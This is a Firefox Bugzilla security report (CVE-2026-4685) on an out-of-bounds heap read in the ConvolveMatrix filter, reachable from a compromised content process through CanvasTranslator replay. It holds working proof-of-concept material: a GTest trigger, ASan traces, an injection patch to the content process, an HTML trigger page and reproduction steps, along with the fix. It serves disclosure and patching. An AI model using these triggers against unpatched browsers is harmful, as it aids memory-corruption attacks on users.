2016349 - (CVE-2026-4685) ConvolveMatrix OOB Heap Read via Negative kernelUnitLength

Reporter

Description

•

5 months ago

Compromised content process -> GPU process via CanvasTranslator replay.

FilterNodeConvolveMatrixSoftware::SetAttribute (FilterNodeSoftware.cpp:2240) stores mKernelUnitLength with no validation. Negative values cause InflatedSourceRect (line 2533) to compute negative margins, deflating the source rect instead of inflating it. The subsequent Inflate(1) at line 2454 partially compensates but leaves zero net margin. ConvolvePixel then reads out-of-bounds via ColorComponentAtPoint's raw pointer arithmetic — the bounds check (DebugOnlyCheckColorSamplingAccess) is a no-op in release builds.

Distinct from the ConvolveMatrix kernel size integer overflow (separate bug). Here the kernel size is valid (3x3) but the kernel unit length is negative.

The Bug

FilterNodeSoftware.cpp:2228-2233:

void FilterNodeConvolveMatrixSoftware::SetAttribute(uint32_t aIndex,
                                                     const Size& aKernelUnitLength) {
  mKernelUnitLength = aKernelUnitLength;  // NO VALIDATION
}

With kernelUnitLength = Size(-1.0, -1.0), kernel 3x3, target (1,1), InflatedSourceRect computes ceil(1 * -1.0) = -1 for all margins. Inflate(IntMargin(-1,-1,-1,-1)) deflates by 1, then Inflate(1) re-inflates by 1. Net extra inflation: zero.

ConvolvePixel (line 2358) then samples at sampleX = 0 + (2-1)*(-1) = -1, giving aData[-1*stride + 4*(-1) + c] — raw pointer arithmetic before the buffer.

ASAN Proof

==83101==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000633c3e
READ of size 1 at 0x612000633c3e thread T0
    #0 FilterNodeConvolveMatrixSoftware::DoRender<int>()+0x1548

allocated by thread T0 here:
    #0 calloc
    #1 SourceSurfaceAlignedRawData::Init()
    #2 Factory::CreateDataSourceSurface()

SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeConvolveMatrixSoftware::DoRender<int>()

PoC

gfx/tests/gtest/TestConvolveMatrixNegKUL.cpp:

/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* vim: set ts=8 sts=2 et sw=2 tw=80: */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"

#include "2D.h"
#include "Filters.h"
#include "FilterNodeSoftware.h"

using namespace mozilla;
using namespace mozilla::gfx;

TEST(ConvolveMatrixNegKUL, NegativeKernelUnitLength)
{
  RefPtr<DrawTarget> dt = Factory::CreateDrawTarget(
      BackendType::SKIA, IntSize(8, 8), SurfaceFormat::B8G8R8A8);
  if (!dt) {
    return;
  }

  RefPtr<FilterNode> filter = dt->CreateFilter(FilterType::CONVOLVE_MATRIX);
  ASSERT_TRUE(filter);

  filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_SIZE, IntSize(3, 3));

  Float kernel[9] = {1, 1, 1, 1, 1, 1, 1, 1, 1};
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_MATRIX, kernel, (uint32_t)9);

  filter->SetAttribute(ATT_CONVOLVE_MATRIX_DIVISOR, 9.0f);
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_BIAS, 1.0f);
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_TARGET, IntPoint(1, 1));
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_RENDER_RECT, IntRect(0, 0, 8, 8));
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_EDGE_MODE,
                       (uint32_t)EDGE_MODE_NONE);
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_PRESERVE_ALPHA, false);

  // Negative kernel unit length: the root cause.
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH,
                       Size(-1.0f, -1.0f));

  RefPtr<DataSourceSurface> inputSurface =
      Factory::CreateDataSourceSurface(IntSize(8, 8),
                                       SurfaceFormat::B8G8R8A8, true);
  ASSERT_TRUE(inputSurface);

  filter->SetInput(IN_CONVOLVE_MATRIX_IN, inputSurface);

  // ASAN: heap-buffer-overflow READ
  dt->DrawFilter(filter, Rect(0, 0, 8, 8), Point(0, 0), DrawOptions());
}

Run: ./mach gtest "ConvolveMatrixNegKUL.*"

Fix

Clamp kernelUnitLength to positive values in SetAttribute:

mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);

Flags: sec-bounty?

Andrew McCreight [:mccr8]

Comment 1

•

5 months ago

Possibly a dupe of bug 2015267.

Group: firefox-core-security → gfx-core-security

Component: Security → Graphics: Canvas2D

Keywords: ai-involved, csectype-intoverflow

Product: Firefox → Core

Comment 2

•

5 months ago

Okay I guess the argument is that that is a separate issue. In the same general neighborhood at least.

Keywords: csectype-intoverflow → csectype-bounds

Sajeeb Lohani

Reporter

Comment 3

•

5 months ago

FilterNodeConvolveMatrixSoftware::SetAttribute (FilterNodeSoftware.cpp:2240) stores mKernelUnitLength with no validation. Negative values cause InflatedSourceRect (line 2533) to compute negative margins via ceil(target * negativeKUL), deflating the source rect instead of inflating it. ConvolvePixel (line 2358) then samples at negative offsets via ColorComponentAtPoint's raw pointer arithmetic. The only guard is MOZ_ASSERT at line 2379 (compiled out in release). DebugOnlyCheckColorSamplingAccess is also a no-op in release.

With kernelUnitLength = Size(-1, -1), kernel 3x3, target (1,1): InflatedSourceRect computes margins of ceil(1 * -1) = -1 on all sides. Inflate(-1,-1,-1,-1) deflates, then Inflate(1) re-inflates by 1, giving zero net margin. At pixel (0,0), kernel position (2,2): sampleX = 0 + (2-1)*(-1) = -1, so aData[-stride + 4*(-1) + c] reads before the buffer.

Distinct from the ConvolveMatrix kernel size integer overflow bug (separate finding). Here the kernel size is valid (3x3) but the kernel unit length is negative.

SVG filters validate kernelUnitLength > 0 before creating the filter node, but CanvasTranslator replay bypasses SVG validation. RecordedFilterNodeSetAttribute::PlayEvent (RecordedEventImpl.h:4471) passes raw Size values directly to SetAttribute.

FilterNodeSoftware.cpp:2236-2246:

void FilterNodeConvolveMatrixSoftware::SetAttribute(uint32_t aIndex,
                                                     const Size& aKernelUnitLength) {
  switch (aIndex) {
    case ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH:
      mKernelUnitLength = aKernelUnitLength;  // no validation

Fix: clamp to positive values:

mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);

Content-side IPC patch

Patches FilterNodeRecording::SetAttribute(uint32_t, const Size&) in the content process to override kernelUnitLength to Size(-1, -1) when recording the attribute. GPU process replays via CanvasTranslator, SetAttribute stores the negative values.

diff --git a/gfx/2d/DrawTargetRecording.cpp b/gfx/2d/DrawTargetRecording.cpp
index 9c654dcce759..7a8b3c1d2e44 100644
--- a/gfx/2d/DrawTargetRecording.cpp
+++ b/gfx/2d/DrawTargetRecording.cpp
@@ -170,7 +170,19 @@ class FilterNodeRecording : public FilterNode {
   FORWARD_SET_ATTRIBUTE(uint32_t, UINT32);
   FORWARD_SET_ATTRIBUTE(Float, FLOAT);
-  FORWARD_SET_ATTRIBUTE(const Size&, SIZE);
+
+  // PoC: Override Size attrs to inject negative kernel unit length
+  void SetAttribute(uint32_t aIndex, const Size& aValue) override {
+    Size val = aValue;
+    // aIndex 7 = ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH
+    // aIndex 9 = ATT_LIGHTING_KERNEL_UNIT_LENGTH
+    if (XRE_IsContentProcess() && (aIndex == 7 || aIndex == 9)) {
+      val = Size(-1.0f, -1.0f);
+    }
+    mRecorder->RecordEvent(RecordedFilterNodeSetAttribute(
+        this, aIndex, val,
+        RecordedFilterNodeSetAttribute::ARGTYPE_SIZE));
+  }
+
   FORWARD_SET_ATTRIBUTE(const IntSize&, INTSIZE);
   FORWARD_SET_ATTRIBUTE(const IntPoint&, INTPOINT);
   FORWARD_SET_ATTRIBUTE(const Rect&, RECT);

Content-side override confirmed working via debug prints: [PoC] SetAttribute Size: aIndex=7 orig=(1.0,1.0) -> (-1,-1). The negative value is injected into the recording stream. On the tested macOS configuration, the GPU process handles ConvolveMatrix via a WebGL-accelerated path (DrawTargetWebgl), which doesn't go through FilterNodeConvolveMatrixSoftware::DoRender. The software path (where the OOB occurs) is confirmed exploitable by GTest below.

HTML PoC

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ConvolveMatrix Negative KernelUnitLength OOB Read - IPC PoC (Finding #10)</title>
</head>
<body>
<svg xmlns="http://www.w3.org/2000/svg" style="position:absolute;width:0;height:0">
  <filter id="conv_kul">
    <feConvolveMatrix order="3" kernelMatrix="1 1 1 1 1 1 1 1 1"
                      divisor="9" edgeMode="none"
                      kernelUnitLength="1 1"/>
  </filter>
</svg>
<canvas id="c" width="200" height="200"></canvas>
<pre id="log"></pre>
<script>
document.getElementById('log').textContent =
  'Finding #10: ConvolveMatrix Negative KernelUnitLength OOB Read\n' +
  'Content -> GPU via CanvasTranslator\n\n';

const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');

ctx.fillStyle = 'purple';
ctx.fillRect(0, 0, 200, 200);
ctx.fillStyle = 'white';
ctx.font = '16px monospace';
ctx.fillText('PoC #10', 60, 105);

document.getElementById('log').textContent += 'Testing feConvolveMatrix with negative KUL...\n';
ctx.filter = 'url(#conv_kul)';
ctx.drawImage(canvas, 0, 0);

document.getElementById('log').textContent += 'Filter applied. Check ASan output.\n';
</script>
</body>
</html>

Steps to reproduce

git apply the patch above
./mach build
./mach run (ASan build, non-headless)
Navigate to the HTML PoC
The page applies feConvolveMatrix via Canvas2D; content-side patch overrides kernelUnitLength to (-1,-1)

For the GTest (direct software path, confirms the OOB):

./mach gtest "ConvolveMatrixNegKUL.*"

ASan Output (GTest)

==83101==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000633c3e
READ of size 1 at 0x612000633c3e thread T0
    #0 FilterNodeConvolveMatrixSoftware::DoRender<int>()+0x1548

allocated by thread T0 here:
    #0 calloc
    #1 SourceSurfaceAlignedRawData::Init()
    #2 Factory::CreateDataSourceSurface()

SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeConvolveMatrixSoftware::DoRender<int>()

(secure) 4 months ago Lee Salzman [:lsalzman] 48 bytes, text/x-phabricator-request	pascalc : approval-mozilla-beta+ RyanVM : approval-mozilla-esr140+ dveditz : sec-approval+	Details \| Review
(secure) 4 months ago Lee Salzman [:lsalzman] 48 bytes, text/x-phabricator-request	phab-bot : approval-mozilla-esr115+	Details \| Review

ConvolveMatrix OOB Heap Read via Negative kernelUnitLength

The Bug

ASAN Proof

PoC

Fix

Content-side IPC patch

HTML PoC

Steps to reproduce

ASan Output (GTest)

Security Approval Request

Beta/Release Uplift Approval Request

ESR Uplift Approval Request